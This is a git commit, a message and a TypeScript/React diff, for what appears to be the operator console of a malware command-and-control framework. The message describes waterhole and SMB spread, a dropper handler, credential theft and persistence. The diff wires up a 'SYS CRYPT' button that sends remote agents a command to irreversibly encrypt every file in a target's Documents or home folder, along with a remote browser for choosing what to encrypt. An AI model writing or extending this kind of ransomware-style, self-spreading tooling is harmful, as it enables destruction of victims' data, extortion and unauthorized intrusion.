feat: Emberwake, Crucible phases, Linux agent, musical dashboard, e2e

Emberwake spread/waterhole UI, campaign DB, spread handler, spread-kit web publisher, and SPREAD_TECHNIQUES doc. Crucible Phase A-C: expanded ops, port-forward matrix, remote dir browser, crucible help/tests.

Linux agent hardening: credential vault, persistence audit, firewall/defender deploy, SMB spread status, CPU stats, screenshots/crypt/file-ops split. Docker compose and agent/server images with e2e validation script and docs.

Musical dashboard: ambient music player, hover SFX, SoundContext/AmbientMusicContext, steampunk polish. Public builds API, dropper handler updates, SessionGate and fleet UX. README and PROBLEMS.md refresh.
This commit is contained in:
AetherForge
2026-06-04 21:53:31 -07:00
parent 8466c7aa9b
commit 1551bd5dad
138 changed files with 7523 additions and 489 deletions

View File

@@ -14,7 +14,9 @@ import { desktopPathHint, pushFileToAgentDesktop } from '../help/desktopPush';
import { parseFullSysCheckMessage, type FullSysCheckReport } from '../types/syscheck';
import FullSysCheckPanel from '../components/Fleet/FullSysCheckPanel';
import FileManager from '../components/Fleet/FileManager';
import RemoteDirBrowser from '../components/Fleet/RemoteDirBrowser';
import ProtocolTunnelPanel from '../components/Fleet/ProtocolTunnelPanel';
import CrucibleExpandedOps from '../components/Fleet/CrucibleExpandedOps';
import '../components/Fleet/FullSysCheckPanel.css';
import '../components/Fleet/ProtocolTunnelPanel.css';
import './CruciblePage.css';
@@ -365,6 +367,28 @@ export default function CruciblePage() {
const singleSelectedAgent = selectedAgents.length === 1 ? selectedAgents[0] : null;
const encryptTargets = useMemo(
() => selectedAgents.filter(online).map((a) => ({ id: a.id, name: a.name })),
[selectedAgents]
);
const browseAgent = singleSelectedAgent ?? selectedAgents.find(online) ?? null;
const appendTerminalLine = useCallback((text: string, isCmd = false) => {
setTermLines((prev) => [
...prev,
{
id: mkId(),
agentId: 'local',
agentName: 'YOU',
isCmd,
text,
ts: new Date(),
targeted: true,
},
].slice(-2000));
}, []);
/** One online target selected — sidebar matrix switches to gold forge-style rain. */
const crucibleTargetReady =
selectedAgents.filter(online).length === 1 && selectedIds.size === 1;
@@ -1153,6 +1177,29 @@ export default function CruciblePage() {
</button>
</div>
<CrucibleExpandedOps
selectedAgents={selectedAgents}
selectedCount={selectedIds.size}
singleSelectedAgent={singleSelectedAgent}
commandResults={commandResults}
onEcho={appendTerminalLine}
onAgentError={(agentId, agentName, action, err) => {
setTermLines((prev) => [
...prev,
{
id: mkId(),
agentId,
agentName,
isCmd: false,
text: `[ERROR] ${action}: ${err instanceof Error ? err.message : String(err)}`,
ts: new Date(),
success: false,
targeted: true,
},
]);
}}
/>
{/* ── SSH ──────────────────────────────────────── */}
<div className="crucible-op-group cop-ssh">
<span className="cop-label">SSH</span>
@@ -1239,13 +1286,13 @@ export default function CruciblePage() {
</button>
</div>
{/* ── Sys Crypt ────────────────────────────────── */}
{/* ── Sys Crypt + remote browser ───────────────── */}
<div className="crucible-op-group cop-destructive">
<span className="cop-label"> Destructive</span>
<button
className="button crucible-op-btn"
disabled={selectedIds.size === 0}
title="AES-256-GCM encrypt every file in the target's Documents folder (Windows only, requires Remote Aggressive Ops)"
title="AES-256-GCM encrypt every file in Documents/home (legacy shortcut; requires Remote Aggressive Ops)"
style={{
background: 'linear-gradient(135deg, #7b0000 0%, #cc0000 100%)',
border: '1px solid #ff2222',
@@ -1254,7 +1301,7 @@ export default function CruciblePage() {
letterSpacing: '0.06em',
}}
onClick={() => {
if (!confirm(`SYS CRYPT — encrypt Documents on ${selectedIds.size} node(s)?\n\nThis is IRREVERSIBLE without the key. Proceed?`)) return;
if (!confirm(`SYS CRYPT — encrypt Documents/home on ${selectedIds.size} node(s)?\n\nThis is IRREVERSIBLE without the key. Proceed?`)) return;
Promise.all(
selectedAgents.filter(online).map((a) =>
api.sendAgentCommand(a.id, 'sys_crypt').catch((err) => {
@@ -1269,19 +1316,29 @@ export default function CruciblePage() {
})
)
);
setTermLines((prev) => [
...prev,
{
id: mkId(), agentId: 'local', agentName: 'YOU',
isCmd: true,
text: `SYS CRYPT → dispatched to ${selectedIds.size} node(s) — encrypting Documents`,
ts: new Date(),
},
]);
appendTerminalLine(`SYS CRYPT → dispatched to ${selectedIds.size} node(s) — encrypting Documents/home`, true);
}}
>
🔒 SYS CRYPT ({selectedIds.size})
</button>
{browseAgent && selectedIds.size > 0 ? (
<>
{selectedIds.size > 1 && (
<p className="form-hint" style={{ margin: '0.35rem 0 0', fontSize: '0.72rem' }}>
Browsing {browseAgent.name} only Encrypt applies to all {encryptTargets.length} online selection(s).
</p>
)}
<RemoteDirBrowser
agentId={browseAgent.id}
agentName={browseAgent.name}
platform={browseAgent.platform}
online={online(browseAgent)}
encryptTargets={encryptTargets}
commandResults={fmCommandResults}
onTerminalLine={appendTerminalLine}
/>
</>
) : null}
</div>
{/* ── SUPP Seek Mode ───────────────────────────── */}